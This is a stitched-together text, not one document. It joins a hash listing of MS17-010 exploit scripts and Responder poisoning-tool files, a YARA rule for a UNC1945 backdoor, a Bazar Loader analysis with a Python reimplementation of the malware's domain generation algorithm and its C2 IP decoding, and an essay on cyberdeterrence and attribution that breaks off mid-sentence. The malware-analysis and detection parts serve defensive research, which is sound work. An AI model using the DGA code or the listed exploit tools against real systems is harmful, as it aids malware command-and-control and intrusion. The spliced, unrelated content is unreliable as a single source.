7a0774c5872df12686735efc631aa83a78bf1b6211d77ccd9a2ae0ff0adfb58c tc/python/MS17-010/nc8887.py - e9073f672596429eab45efe3e79e36e361fb220b71f4c47b32edbc6c51544494 tc/python/MS17-010/eternalsynergy_leak.py - 3f106f73b51516fccb1d62265248ee03ccadf86377d66ef53a672729096d2cf3 tc/python/MS17-010/eternalromance_poc.py - 2e2332d9119ca0075db133111ef9dfd5577cedc8df25d6a603755005a787178c tc/python/MS17-010/BUG.txt - eb53bc507b64d43b3702bcabd662eddbbf468d8144e8d611fcca78bd7101cd08 tc/python/MS17-010/del_outlooks.py - 2c84ce6f127ac559658ad2f5cbb5ead99c0bce27feae2f2cffcf0f1a5bc77f19 tc/python/MS17-010/eternalblue_poc.py - c49ec4e145fa4dfc63b5fe6655a84056304e61f776e3a4125b507d9f6d5fb315 tc/python/MS17-010/eternalromance_poc2.py - d20a5fce1a3fdd7b031e1f20a78206187541d6ba10d9e2d0a6472526cea2c746 tc/python/MS17-010/eternalchampion_poc.py - 8e21af3c2840ff374ef5f4f98d5bd665482241c66d7fe1172023cb67ece80079 tc/python/MS17-010/README.md - 99a4ded26895422707f7c92eca9c9d64212cc033c50010fb027fe32ab55386d9 tc/python/MS17-010/eternalblue_exploit7.py - 2dfe1fc676fe8f5c949ac7a15491b4081a8dd8d11a3baa3442be539fe7e12e26 tc/python/MS17-010/42315.py - 896610790bfa3554722518d81cd7692ba3cc963d1fd82bc6c57f7b2df7962625 tc/python/MS17-010/eternalchampion_leak.py - d37670ef452b3850d2a7d590ab3bee83902f3644cdba4e9b52fe8a2deb85402f tc/python/MS17-010/eternalsynergy_poc.py - 5e58130b5598379d83300aea616d3f21aa6037e50aa41bac59dcfb993873868c tc/python/MS17-010/zzz_exploit.py - dd4798af2c60dd83852bb9f097bf82b332e6408d0c9362a477592397468553ca tc/python/MS17-010/eternalchampion_poc2.py - 89e30158f62eb2e60763bc9701d750e61ede148793b411c45898c0b36f467b78 tc/python/MS17-010/deluser.py - e2022ebe819476f715b10e441ef13171317c91cfaf553302c90b77ea686b72b5 tc/python/MS17-010/eternalromance_leak.py - 5dd68dc09454edb1fa4f847819e3ae48fbedacef5413f2a9ef9957602a6ad97a tc/python/MS17-010/adduser.py - 624bcdae55baeef00cd11d5dfcfa60f68710a02 responder/LICENSE - 7ca9a5cb7034b04ea6060c7f7804997b9f8ba411 responder/README.md - 0833c52e7c2afce7ff357ee496bc2b3c6662edba responder/Responder.conf - aca7fc6f37f789ef7a5816dce83ac4efaaa76a35 responder/Responder.py - 90fa9a2d1db2e143eb2999f80a615f997b916407 responder/certs/gen-self-signed-cert.sh - cde48c263fe556d21f0dacfee746b73a9d0f843c responder/certs/responder.crt - 9439fb0577b485bea2ab5515d22ce028b1edefd7 responder/certs/responder.key - 3c1be1e572a4a475a4499d0c87979005a4927a1a responder/files/AccessDenied.html - da35e993ca6b2f8a73bef404a32391ae2a6f6b3e responder/files/BindShell.exe - 1bb89403f629f02091397a7c34e99c2e35b7e74 responder/poisoners/LLMNR.py - 5e4d413602268e9bdabd48c486ecf164c3a188ea responder/poisoners/LLMNR.pyc - aebe1412a78a904badfa7cbed4f3ece351af6a55 responder/poisoners/MDNS.py - a048219fd8fcef6a98cb2be309135e44efcec006 responder/poisoners/MDNS.pyc - 5860c2fd3cd1a4e7203ff943753a7fbf656951dd responder/poisoners/NBTNS.py - 27deef9453ee7102f0bc42380a355124b6ad7d6a responder/poisoners/NBTNS.pyc - da39a3ee5e6b4b0d3255bfef95601890afd80709 responder/poisoners/__init__.py - 3e6de0af6b7c6c1aaaae7f4b5ecc3fc43c5b7859 responder/poisoners/__init__.pyc - 874ed910bf04d409d3639c2e14776c452eb1755e responder/tools/BrowserListener.py - 8b1aac92e1a185855a4b5a2f55e14b9817f95aaa responder/tools/DHCP.py - 4b22f17fd4ec78fe4b11a98ad882970a7c55b9ef responder/tools/DHCP_Auto.sh - cf80e9f2f99ed0778fe3ac209324bf9a84be6b1f responder/tools/FindSMB2UPTime.py - ad09d51ecbdddd57cd0e1845ed6bd7a1c863a196 responder/tools/FindSQLSrv.py - 511326ff4ed1876b6b59ccfe6b8471a27309ea00 responder/tools/Icmp-Redirect.py - 3e6b7ffe886764b31757ce1bb0fd9a1854246a97 responder/tools/RelayPackets.py - 23622c8ff7baea6cac44f08ff681b37a9ee9fdd1 responder/tools/SMBRelay.py - a29540e984808a029425be53ca93ce3f8fd79a27 responder/servers/Browser.py - 5b1f743c91c868204348de30c2ba0dcc03b87833 responder/servers/Browser.pyc - e5dc55eecb82c1d40a4b3492ced9bf19f2dae0b4 responder/servers/DNS.py - 40fa18da8bed7c4b8c42a5a038408988ab31ff82 responder/servers/DNS.pyc - 7765a0a1b66a58ae487cf76c2ec43f88c767e8dd responder/servers/FTP.py - 6c03f7b5451a3b8bdc693a02dc61d0b78269a5d6 responder/servers/FTP.pyc - adaa025b5cf015769213738ead37ce7f032d203d responder/servers/HTTP.py - d21d59dd2136e5fea0634a1cc6c7b36511025f67 responder/servers/HTTP.pyc - 26939dee3f00cfca80ae62745fc4b8a987e93a49 responder/servers/HTTP_Proxy.py - 10f4d968f6410179ea03a330984136cb6fffc83c responder/servers/HTTP_Proxy.pyc - 088b3ece595950ab4e471e4763bbd400ff1fca1f responder/servers/IMAP.py - 9f8014a0150badc732d07cfc381785975dee6cd7 responder/servers/IMAP.pyc - 2e1ace2fc5a63000cf71510a02e3221880c094a4 responder/servers/Kerberos.py - 6ceee9bf498f443817d8603ac1692c639ad8a59e responder/servers/Kerberos.pyc - 0bdac1da920a1c8177cf4f2abc147710f1b5ec09 responder/servers/LDAP.py - 4cfc6d04b0311f27d170c860eb8ff7e05769a502 responder/servers/LDAP.pyc - e62c3b201a99501a626c35dc084a2201f59e2bd6 responder/servers/MSSQL.py - f49f6878303358fa15f87bd05041515605aab802 responder/servers/MSSQL.pyc - a095b50743189513f2c62033127dd5ab23e4c3ec responder/servers/POP3.py - 32dd92688f6ab0c57acbeb63ff3b093d90440a7e responder/servers/POP3.pyc - 8e229944b428f675d27a5c99e71496907a9a17d1 responder/servers/SMB.py - 2533c2a30cb4f06d8c5fa9259e7d3d42ea40ca22 responder/servers/SMB.pyc - a472ed6415e0c00c4c4320468dcb65256138ffa5 responder/servers/SMTP.py - ad49be1fe6e6e732b875bac888d693a7c39f8132 responder/servers/SMTP.pyc - da39a3ee5e6b4b0d3255bfef95601890afd80709 responder/servers/__init__.py - 369a6285d5047feadc3bad34bd5d914766672b81 responder/servers/__init__.pyc - ef7d632acf72b04b6cf7500b21c4c8efe7612d4a responder/fingerprint.py - 4c9b5680c7575e0c08c8ff1511e4553c0136c743 responder/fingerprint.pyc - a8236535d40dfdd2ae9b24aecbf1ba7e65313ce3 responder/odict.py - 718d1d180ff58c198713bb27544f5f8fe5b35fc6 responder/odict.pyc - cc8af2c71cc4cead9ee99c268e075d2e0cb8f32d responder/packets.py - de600e4c57efc08ac86c63ee3a003955fc00bdc6 responder/packets.pyc - 2cdc364e88955d8176e32e2c35026d325883c157 responder/settings.py - 7e73cf9b4b59db4df95c8d00915ba2370b8cb538 responder/settings.pyc - 9e6a51c50ec8c9bec41ca2c060c2029f36997a67 responder/utils.py - 0a26c8278351f8969e7b1c63f8e4ed69cc087925 responder/utils.pyc ### Yara Rules ```yara import "pe" import "math" rule svchost_backdoor_UNC1945 { meta: description = "Yara Rule for svchost.exe backdoor of the UNC1945 arsenal" hash = "428b47caf74ce986bc3688262355d5b7" author = "Yoroi Malware Zlab" last_updated = "2020_11_20" tlp = "white" category = "informational" strings: $s1 = "PROXYHOST" $s2 = "PROXYPORT" $s3 = "USERNAME" $s4 = "PASSWORD" $s5 = "ENDPOINT" $s6 = "/cygdrive/c/windows/system32.log" $s7 = {40 20 36 [4] C7 40 24 36 [4] C7 40 28} condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and pe.number_of_sections == 5 and for any i in (0..pe.number_of_sections - 1) : ( math.entropy(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) > 7.2781 and pe.sections[i].name == ".data" ) and (pe.sections[2].name == "/4") and all of them } ``` This blog post was authored by Luigi Martire, Antonio Pirozzi, and Luca Mella of Yoroi Malware ZLAB.
# Yet Another Bazar Loader DGA Bazar Loader decided to change its perfectly fine domain generation algorithm (DGA) once again. The change in the algorithm is very minor, but it yields more domain names. ## Sample **MD5:** 9ad20d0e6da3cf135a93bf162a0a8cfb **SHA1:** a97893ab95f794cabc261483423f942f552926d0 **SHA256:** 8e244f1a5b4653d6dbb4cc3978c7dd773b227a443361fbc30265b79f102f7eed **Size:** 288 KB (295616 Bytes) **Compile Timestamp:** 2021-01-20 19:37:37 UTC **Filenames:** Preview_report20-01.exe (VirusTotal) **Detections:** MalwareBazaar: BazaLoader, Virustotal: 33/76 as of 2021-01-23 07:31:37 - Trojan.Win32.Zenpak.4!c (AegisLab), Backdoor:Win32/KZip.90c5e0b2 (Alibaba), BackDoor.Bazar.55 (DrWeb), Trojan.Win32.Zenpak.bfcu (Kaspersky), Trojan:Win64/Bazarldr.BMB!MSR (Microsoft), Trojan.Win32.Zenpak.bfcu (ZoneAlarm) It unpacks to this: **MD5:** 63784053ac2f608d94c18b17c46ab5d4 **SHA1:** e01c814d6a4993c74a2bfb87b1b661fe78c41291 **SHA256:** c0a087a520fdfb5f1e235618b3a5101969c1de85b498bc4670372c02756efd55 **Size:** 98 KB (100864 Bytes) **Compile Timestamp:** 2021-01-20 19:10:11 UTC **Filenames:** none **Detections:** MalwareBazaar: BazaLoader, Virustotal: 21/75 as of 2021-01-23 13:37:55 - Gen:Variant.Bulz.163525 (ALYac), Gen:Variant.Bulz.163525 (Ad-Aware), Trojan.Bulz.D27EC5 (Arcabit), Gen:Variant.Bulz.163525 (BitDefender), Gen:Variant.Bulz.163525 (B) (Emsisoft), Gen:Variant.Bulz.163525 (GData), Gen:Variant.Bulz.163525 (MicroWorld-eScan), Trojan:Win32/TrickBot.VSF!MTB (Microsoft), Trojan.TrickBot!8.E313 (TFE:5:6iToUtBEDBC) (Rising) Which finally drops: **MD5:** 7e8eddaef14aa8de2369d1ca6347b06d **SHA1:** 4543e6da0515bb7d93e930c9f30e40912d495373 **SHA256:** f29253139dab900b763ef436931213387dc92e860b9d3abb7dcd46040ac28a0e **Size:** 89 KB (91136 Bytes) **Compile Timestamp:** 2021-01-18 14:29:29 UTC **Filenames:** none **Detections:** MalwareBazaar: None, Virustotal: 19/76 as of 2021-01-23 15:04:35 - Gen:Variant.Bulz.163525 (ALYac), Gen:Variant.Bulz.163525 (Ad-Aware), Trojan.Win32.Bulz.4!c (AegisLab), Trojan.Bulz.D27EC5 (Arcabit), Gen:Variant.Bulz.163525 (BitDefender), Gen:Variant.Bulz.163525 (B) (Emsisoft), Gen:Variant.Bulz.163525 (FireEye), Gen:Variant.Bulz.163525 (GData), Gen:Variant.Bulz.163525 (MicroWorld-eScan) ## Difference from the Last Version The current version is just a slight modification to the version from December. Like the previous version of the algorithm, this version calculates all ordered pairs of 19 consonants and 6 vowels (including y). These pairs are then permuted based on a fixed value. This value is the same, so the resulting list of 228 pairs is also the same. The calculation of the first four letters is the same – that is, the selection of the first two pairs of letters: The permuted list of letters is divided into groups of 19 pairs. Then the two digits of the current month determine which group is selected. From these, one pair at a time is randomly – and unpredictably – selected. The last four letters (two pairs) are still determined by the two year digits. However, the division of letter pairs into groups is different. Based on the current decade, two letters are chosen from a group of 22 pairs. The groups of 22 pairs partly overlap, so that theoretically after every 10 years identical domains could be generated again. This contrasts with the version from December, where the decade still determined a non-overlapping group of 6 pairs only. The last two letters are picked from groups of 4 — instead of 6 — letter pairs. The DGA still generates 10,000 domains. But because there are 88 potential monthly combinations for the last four letters instead of just 36 previously, the expected number of unique domains is larger: $$ \mathbb{E} = 31768 \left( 1 - \left(\frac{31768 -1}{31768 }\right)^{10000} \right) \approx 8579 $$ Since domain names partially repeat after each decade, domains can no longer be uniquely assigned to a seed. But since I strongly doubt that the domain generation algorithm will still have any relevance in a few months, let alone 10 years, the domain to seed tool assumes domains are from the 20s. ## IP Transformation The A record of the domains is encrypted, just as in previous versions. Meaning, the four bytes of the IP are XORed with 0xFE. The IP is then used in URLs of format `https://{ip}:443`. For example, if the domain `omleekyw.bazar` has an A record of `220.39.239.27`, then the actual contacted URL is `https://34.217.17.229:443`. ## Reimplementation in Python This is the new version reimplemented in Python: ```python from itertools import product from datetime import datetime import argparse from collections import namedtuple Param = namedtuple('Param', 'mul mod idx') pool = ( "qeewcaacywemomedekwyuhidontoibeludsocuexvuuftyliaqydhuizuctuiqow" "agypetehfubitiaziceblaogolryykosuptaymodisahfiybyxcoleafkudarapu" "qoawyluxqagenanyoxcygyqugiutlyvegahepovyigqyqibaeqynyfkiobpeepby" "xaciyvusocaripfyoftesaysozureginalifkazaadytwuubzuvoothymivazyyz" "hoevmeburedeviihiravygkemywaerdonoyryqloammoseweesuvfopiriboikuz" "orruzemuulimyhceukoqiwfexuefgoycwiokitnuneroxepyanbekyixxiuqsias" "xoapaxmaohezwoildifaluzihipanizoecxyopguakdudyovhaumunuwsusyenko" "atugabiv" ) def dga(date): seed = date.strftime("%m%Y") params = [ Param(19, 19, 0), Param(19, 19, 1), Param(4, 22, 4), Param(4, 4, 5) ] ranges = [] for p in params: s = int(seed[p.idx]) lower = p.mul * s upper = lower + p.mod ranges.append(list(range(lower, upper))) for indices in product(*ranges): domain = "" for index in indices: domain += pool[index * 2:index * 2 + 2] domain += ".bazar" yield domain if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument( "-d", "--date", help="date used for seeding, e.g., 2020-06-28", default=datetime.now().strftime('%Y-%m-%d')) args = parser.parse_args() d = datetime.strptime(args.date, "%Y-%m-%d") for domain in dga(d): print(domain) ``` Edit 23 March, 2021: There is also a version with a different character pool, but otherwise the same algorithm (see my GitHub repo for the full code). ```python pool = ( "yzewevmeywreomviekwyavygontowaerudsoyr" "exvuamtyseweesuvizpituiqowuzoretzemuul" "tiazicukoqiwolxuykosupwiymitisneroxeyx" "anlekyixxirasiasxoapuxqaohezwooxdigyqu" "ziutpavezohexyvyguqyqidyovynumunuwsusy" "enxaatyvusivaripfyoftesaysozureginalif" ) ``` ## Characteristics Except for the number of domains per month, the characteristics are the same as for the previous version: | Property | Value | |-----------------------------------|------------------------------------| | Type | TDD (time-dependent-deterministic) | | Generation scheme | Arithmetic | | Seed | Current date | | Domain change frequency | Every month | | Unique domains per month | 19·19·22·4 = 31,768 | | Sequence | Random selection, might pick domains multiple times | | Wait time between domains | 10 seconds | | Top level domain | .bazar | | Second level characters | a-z, without j | | Regex | [a-ik-z]{8}\.bazar | | Second level domain length | 8 |
# Cyberdeterrence and the Problem of Attribution ## Introduction The computer networks of the United States, including defense, government, and commercial sectors, are under constant attack and even more frequent probing. Ranging from denial of service attacks to backdoor-implanting espionage to attempts to bring down critical infrastructure, these computer network attacks fill a spectrum from juvenile on one end to dire on the other. Having failed to field an effective comprehensive computer network defense strategy, some have suggested that the U.S. establish a doctrine of cyber-deterrence as a core component of such a strategy. Determining the feasibility of cyberdeterrence is of critical importance as the U.S. prepares to establish a new military command, U.S. Cyber Command, which would be responsible for carrying out such a doctrine. This doctrine would vow proportional and measured cyber attacks against nations attacking U.S. network infrastructure in order to deter attacks from taking place. However, cyber warfare, unlike the nuclear warfare dynamic that gave birth to our contemporary understanding of deterrence, is dissimilar in ways that make deterrence a difficult policy and a broader deterrence strategy one potentially destined to fail. The core problem of cyber warfare is the problem of attribution. Cyber attacks are not easily attributed. Attackers can hide in the cloud. Determined combatants can disguise themselves as other actors. Conducted properly, the victim never knows the attack is occurring and may be lucky to discover it years after the fact. Complicating this further, attacks directed by states need not be conducted by states. Some victims, presented with evidence of attribution, may not wish to acknowledge attacks for political reasons. In analyzing a series of significant contemporary cases of cyber attacks, I will show that attribution at a degree required by a deterrence policy is so difficult that a deterrence strategy is ipso facto infeasible. ## Deterrence Deterrence strategy is a framework under which the deterring state, under threat of pain, demands that the deterred state does not conduct a specific, overt action. Deterrence is fundamentally about the maintenance of the status quo on the part of the deterring state, designed to maintain a specific condition under threat of change by the deterred party. The setting of demands by the deterring state is generally non-provocative—it consists of, as Thomas Schelling explains, setting the stage and waiting; in contrast, overt actions on the part of the deterred state to violate those demands are viewed as provocative. Primary to the value of deterrence is the realization that violence is best utilized when it is threatened but not used, as Schelling identifies. This contrasts with the employment of brute force. The mechanics of deterrence have been likened to a "trip wire" or "plate-glass window," as Schelling identifies in his discussion of U.S. troops in Berlin as an empirical example. In this situation, the deterrence calculus identifies the troops as a "trip wire" that, if attacked by the Soviets or their satellites, would trigger a massive military response on the part of NATO. To increase the robustness of the deterrent threat, a deterrent state can engage in a commitment process under which it eliminates possible situations that may give it avenues to avoid enforcing its deterrence strategy demands upon the deterred state, all in an attempt to make the deterrent threat more credible. Schelling uses the example of Quemoy, but perhaps a better example would be the "doomsday machine" from the nuclear deterrence satire Dr. Strangelove. By automating the processes of this machine so that no human could interrupt and prevent universal global atomic holocaust in the event of an attack on the Soviet Union, the Soviets had achieved the perfect deterrent by committing themselves to mandatory enforcement of their threat. Of course, this highlights an obvious issue with deterrence in general, that the deterrent threat has to be communicated to the enemy and properly understood; an unknown or misinterpreted deterrent is not a deterrent. Deterrence is not without its shortcomings. One well-discussed impediment to effective deterrence is the utilization of salami tactics, an attempt by the deterred state to progressively and in small steps come close to and or actually violate the demands of the deterring state in a way that prevents the deterrent from being employed. A recent example of salami tactics can be seen in the 2006 conflict between Hezbollah and Israel. While Israel made clear to Hezbollah that it would not tolerate rocket fire on its population centers and the kidnapping of its soldiers, Hezbollah periodically did both, growing bolder with each operation. The Israeli deterrent was not used after the first harassing Hezbollah events, reducing its power and credibility. Hassan Nasrallah stated as such when Israel finally invaded in July 2006 after another provocation; he had no expectation of an Israeli response, showing that he had no faith in Israel's threat. As Schelling identified, to be effective the threat has to be credible. The deterring party has to threaten that it will act to prove its commitment; "may act" is not sufficient. Absent from much of the Cold War deterrence literature is the discussion of attribution. Most writers during this period examined deterrence in the U.S.-Russia framework. Attacks, be they conventional or nuclear, were always assumed to be attributable. Either the U.S. launched ballistic missiles first or the Soviets did. There were no immediate concerns that rogue, unattributed ICBMs would start raining down upon America. Attribution was so integral to the analysis of deterrence as a strategy that it was hardly worth a mention. This issue of attribution, so clear in the Cold War context, becomes muddy and complex when applied to the realm of cyber warfare. Take a simple policy statement, for example: the United States will respond with a massive cyber-offensive against China and its interests in the event of a Chinese attack on the United States or its interests, sufficient in scale as to deter China from conducting such an attack. Chinese long-range bombers would be detectable flying over the Pacific, as would ICBMs as they hurtle through space towards San Francisco. But packets streaming through an undersea fiber optic cable landing at a terrestrial fiber backbone switching center in Los Angeles, destined to cripple American defenses, power production, or early-warning radar, would in all likelihood be undetectable. At that moment a prospective American cyber-deterrence strategy would be impotent. Deaf, dumb, and blind, the U.S. government would know it had been attacked—but by whom? Who would the U.S. strike back against in righteous anger? ## Cyber Attacks and Attribution – Case Study To illustrate the problem of attribution, I will analyze five contemporary "cyber attacks," broadly defined. This basket of cases will include attacks against both government and civilian infrastructure as well as a variety of attack methods ranging from denial of service attacks to potentially crippling sabotage of critical infrastructure. In each case I will explore a series of questions: - Who attributed the attack? - At what confidence was the attack attributed? - How was the attack attributed? - How long of a delay was there between attack and attribution? - What was the response of the attack's victim? This set of cases will show the difficulties of attribution of cyber attacks, especially highlighting the uncomfortably circumstantial nature of cyber-attribution. Throughout these cases, attribution will be shown often to be technically infeasible, politically undesirable, and in some cases, both. Due to the lack of published reports of cyber warfare, several of the cases I examine will not be especially consequential, particularly when presented to a U.S. audience. The cases available for analysis are few, and those that exist are poorly sourced. But the lessons learned in these cases I examine are universal, no matter how trivial or significant the consequences of the attacks. ### Estonian Cyber War On 27 April 2007, the Estonian government relocated a Soviet-era World War II memorial. A lightning rod for the acrimonious division between ethnic Russian and Estonian nationalist elements within Estonian society, its relocation triggered violence on the streets. To many Estonians and the Estonian government, the memorial was a reminder of Soviet occupation and oppression, while to pro-Russian elements it memorialized those who fought valiantly against the Nazis. The move caught the attention of Russian President Vladimir Putin, who condemned the move. Estonia is more wired and utilizes the internet more than most countries. Online banking is extensive and in 2007 a fraction of the votes for parliament were conducted online. As a result of Estonia's greater cyber linkages, cyber attacks would have had a significant negative impact. A few days before it began, Estonia realized that a cyber attack was coming. Postings on Russian-language web forums suggested that a major cyber effort was underway. Estonia refrained from publicly warning Russia as diplomatic efforts were underway to defuse the crisis. On 26 April 2007 at 10:00 p.m. local time, distributed denial of service attacks began against a list of Estonian websites. Step-by-step instructions allowed any internet user to launch attacks of their own. Public websites and mail servers for a variety of organizations suffered and began crashing. Supplementing manual efforts, unknown attack coordinators triggered botnets to begin attacking Estonia, drastically increasing the stream of packets targeting Estonian infrastructure. Websites were defaced and services stopped. The onslaught continued for over three weeks while Russian authorities did nothing to stop or discourage the attacks. Attacks peaked on 9 May, which was Victory Day in Russia. The political damage outweighed the actual damage caused by the attacks; slowing internet connections, taking down websites, and defacing others were more of a nuisance than a threat. On 17 May Estonian Foreign Minister Urmas Paet directly blamed the Russian government for direct involvement in the attacks, which he claimed targeted Estonian government websites, telephone networks, and emergency response systems. He also directly attributed the attacks to Russian government infrastructure, claiming that they came from IP addresses and servers assigned to the Russian government. Though appealing for help against a perceived Russian government onslaught, Estonian defense minister Jaak Aaviksoo admitted that NATO's collective defense Article V could not be invoked because "not a single NATO defense minister would define a cyber-attack as a clear military action at present." The Estonian defense ministry hinted that, in addition to blocking access to Estonian infrastructure from foreign IP addresses, "people" started to fight against the cyber attack, claiming that "ways were found to eliminate the attacker." Other knowledgeable analysts cast doubts on the veracity of Paet's claim. Mikko Hypponen, chief research officer at computer security firm F-Secure, pointed out that Russian government computers may have been infected by the botnet used to launch denial of service attacks. Additionally, even if the attacks were overt, they just as easily could have been committed by anyone, "from the son of some ministerial janitor upwards." Hypponen and others have also claimed that a true Russian government attack would have been far stronger and lasted much longer, with the results more devastatingly crippling for Estonia. This assumes that the Russian government wanted to be identified as the culprit; in a cyber war, measured attacks by proxy deflect blame and attribution when both are unwanted. Interestingly, nearly two years later, a member of the Russian Duma, Sergei Markov, explained a possible government hand in the attacks. He claimed that an unnamed assistant of his coordinated the attacks while residing in one of Russia's "unrecognized republics," possibly Transnistria. While not explicitly coordinated by the Russian government, Markov admitted that there was passive government support to what he described as "purely a reaction from civil society" out of a sentiment that "something bad had to be done to these fascists." Markov's assessment of the situation is the most plausible in retrospect: patriotic Russian hackers, with support of individuals acting in a non-governmental capacity but with passive encouragement from elements of the Russian government, banded together to attack with criminally-sourced tools like Trojans and botnets. Not criminal, not state-driven, not nationalists, not pranksters, but rather a mix of them all were responsible for what has been termed a "cyber riot" rather than a cyber attack. While information released by the Estonians and analysis by independent investigators suggested this was the case, it was not until this moment 23 months later that attribution was this clear. Future victims of cyber attacks, however, cannot rely on the attacker claiming victory as the default method of attribution. ### Moonlight Maze Long before cyber warfare gained an elevated status and before a Department of Defense cyber command was a possibility, the Moonlight Maze intrusion set rattled the U.S. defense establishment. In March 1998, back in a time when cyber warfare was referred to as "netwar," the U.S. government detected broad intrusions into defense networks, NASA, and other government agencies. These intrusions, purported to be coming from Russia, were termed Moonlight Maze by the intelligence community. James Adams, chairman of a cybersecurity firm and a member of the National Security Agency Advisory Board, made a splash in May 2001 when he announced the intelligence community's Moonlight Maze investigation in Foreign Affairs. Expanding upon the Government Accountability Office's brief mention of Moonlight Maze earlier that year, Adams claimed that for three years the U.S. government was investigating actions by a "group of hackers" targeting the Department of Defense, NASA, private universities, research labs, and government agencies. Others specifically identified the Department of Defense's unclassified NIPRNET system as the biggest target. These hackers were claimed to have targeted information stored on those systems, including contract details, encryption techniques, and sensitive but unclassified defense information. Covert backdoor tools were installed and specific network traffic was routed to Russian servers. Adams hinted that the grounds for future sabotage were laid and that many more questions were left unresolved. Adams claims that the attacks appeared to come from Russian-registered IP addresses, but no definitive links to a state-sponsored effort could be found. Dion Stempfley, a former analyst at the Pentagon who helped detect Moonlight Maze, suggested that the attacks were "state allowed," in that the Russian government was either directing or knowingly permitting the attacks. Attempts to "hack-back" were limited because the Pentagon was fearful of conducting an act of war in the event the attacks were coming from a state program. The Russian government was demarched on the issue and pleaded ignorance in the face of evidence. Moonlight Maze was one of the first true cyber incidents to target the U.S. defense establishment. No information has been made public regarding the timeline of attribution. First detected in March 1998 by computer network analysts at the Department of Defense, Moonlight Maze may have been going on for years without detection. Even after detection, years of analysis were required to understand and roughly attribute Moonlight Maze to Russian actors. Even with the best resources of the U.S. government marshaled to analyze the attacks and intrusions, no conclusive links could be found to the Russian government or another large, deterrable actor. The frustrating lessons of Moonlight Maze persist; its story has been replayed many times in the intervening years as shadowy attackers hiding their tracks have penetrated key U.S. government systems only to see the U.S. passively monitor and improve defenses. Moonlight Maze gave the U.S. its first taste of the problem of attribution and the other cases analyzed here illustrate how the problem is a persistent one. ### Brazilian Power Outages Possible cyber attacks against power infrastructure in Brazil in 2005 and 2007 may have caused millions of people to lose power and plunged cities into darkness. The operative word here is possible; these could have either been two of the most devastating cyber attacks of all time, with the greatest immediate real-world implications, or they may not have been cyber attacks at all. Alarmingly, these two cases illustrate both the potential of cyber attacks to do real harm as well as the tangled web of attribution. While sourcing of details related to these possible attacks is tenuous at best, available information can provide valuable lessons. U.S. security and intelligence officials have publicly painted a broad story in which an unnamed country had cities that suffered cyber attacks that "plunged entire cities into darkness." Tied to off-the-record statements from similar officials, CBS News claimed in November 2009 that a number of credible sources indicated that cyber attacks were responsible for two power outages in Brazil. The first occurred north of Rio de Janeiro in January 2005, cutting power to three cities and leaving tens of thousands without power. The second and most severe occurred on 26 September 2007 in the state of Espirito Santo, cutting power to more than three million people, dozens of cities, and a network of plants belonging to an iron ore producer. Their claim, which was rolled into a larger alarmist report on cyber warfare, did not attribute the attacks nor did it provide a motive. Tied to this incident are statements by CIA cyber official Tom Donahue, who claimed that the U.S. government had information indicating that in "at least one case" cyber attacks led to the disruption of power in multiple cities and that the government had seen multiple examples of cyber intrusions followed by extortion demands. The CBS report as well as former Bush administration official Richard Clarke explain that this unnamed victim was Brazil. Brazilian officials not only deny that the cyber attacks took place but offer a specific reason why the blackouts occurred, claiming that physical infrastructure problems unrelated to cyber infrastructure plunged parts of the country into darkness. In the case of the reported 2007 attack, the power company, Furnas Centrais Elétricas, claimed no knowledge of hackers accessing their systems. They explained following the event that the outages were a result of soot and dust accumulating on insulators on high-voltage lines. Months without rain, combined with burning fields emitting large quantities of particulate matter, resulted in dirty insulators that failed to operate properly. Other authorities within Brazil concurred with this explanation, blaming polluted insulators and fining Furnas $3.27 million for failing to maintain its transmission towers properly. Brazil has had a series of failures in its power distribution and generation systems. Just days after the CBS report aired, crippling power outages left over 60 million without power and severely impacted the most populous areas of Brazil as well as all of Paraguay. The blame in this case was assigned to the Itaipu hydroelectric dam, which provides 20% of Brazil's electricity and 90% of Paraguay's. The Brazilian cyber or non-cyber case illustrates a new range of issues for attribution. Chastened commercial infrastructure providers, even in the face of facts, may seek to avoid blaming failures on cyber attacks. Acknowledging cyber weakness invites more attacks, and, especially if there are no easy immediate fixes, may lead to costly reforms to improve network security. Particularly embarrassing are incidents where cyber attacks benefit from insider knowledge, as Donahue hinted at in his discussion of critical infrastructure vulnerabilities. Blaming the weather or a dirty insulator may be more politically and commercially appealing. Even if cyber attacks are properly attributed, the victim may not want to advertise the fact. This is not just a problem in the commercial sector, but one for government as well. The U.S. government rarely discloses penetrations of its systems by the Chinese and Russians; only once in a while do specific cases like Titan Rain and Moonlight Maze go public. Public attribution also informs the attacker that the victim is able to detect and discover attack attempts. Particularly for stealthy state-based intelligence gathering and covert cyber operations, victims potentially have far more to learn by identifying attack signatures and quietly studying them to learn attacker methodology, behavior, priorities, and tools. Honeypots, or systems designed to intentionally lure attackers as a way of learning about them, are particularly useful in these cases. Victims may also wish to withhold attribution as it implies a vulnerability or weakness that they are unwilling to declare to their domestic constituents. ### Aurora Aurora is the codename given by American computer security firm McAfee to wide-ranging and alarming cyber attacks by China against dozens of American companies starting in December 2009. "Aurora" was allegedly part of the file name of the malware tools on a computer used to attack victims. Brazen in scope and technique, the attacks were a watershed moment for the cybersecurity community, China-U.S. relations, and the future of Google. Most important in the context of this paper, Aurora has eclipsed the murky problem of attribution as multiple entities have either openly or backhandedly blamed the Chinese government for the attacks, with Google going so far as to threaten withdrawing from China altogether in retribution. The Aurora intrusion set began around mid-December 2009 and lasted until early January 2010, when the redirection servers masking the original attack infrastructure in China were taken down. Attackers lured victims into opening emails or visiting websites embedded with malicious code, a "zero-day" exploit for Microsoft Internet Explorer that allows the attacker to execute malicious code on the target computer. Another attack vector consisted of infected Adobe PDF files embedded with a Trojan called Trojan.Hydraq, which installed on target machines as a Windows DLL file. Triple-encrypted shell code was deployed to target computers, triggering them to download further encrypted binaries which unpacked into two encrypted executable files. These files constituted the backdoor that allowed the computer to talk back to command and control servers, masking communications in encrypted secure socket layer (SSL) connections to best blend in with normal web traffic and avoid proxying and filtering mechanisms. Attackers stole commercial accounts on virtual private servers like Rackspace and Linode, which provide storage and computing solutions in the "cloud," the anonymous server farms that provide virtual servers to match any size and power requirements. These servers and others in Taiwan and the U.S. were used as covert exfiltration pathways for data stolen from target computers. This provided layers of obfuscation for the attackers as in-depth forensics would be required to follow the multiple hops the encrypted data would take back to attacker computers in China. In addition to being advanced in attack vectors, data exfiltration, and source obfuscation, the Aurora attacks were well-researched and were directed at specific targets with access to key data. The attacks targeted at least 34 different American firms, many of which had operations in China. In all cases, the attackers specifically targeted proprietary intellectual property, specifically source code. In the case of Google, the attackers also targeted Gmail account servers for Chinese human rights activists. To gain access to this data, the attackers 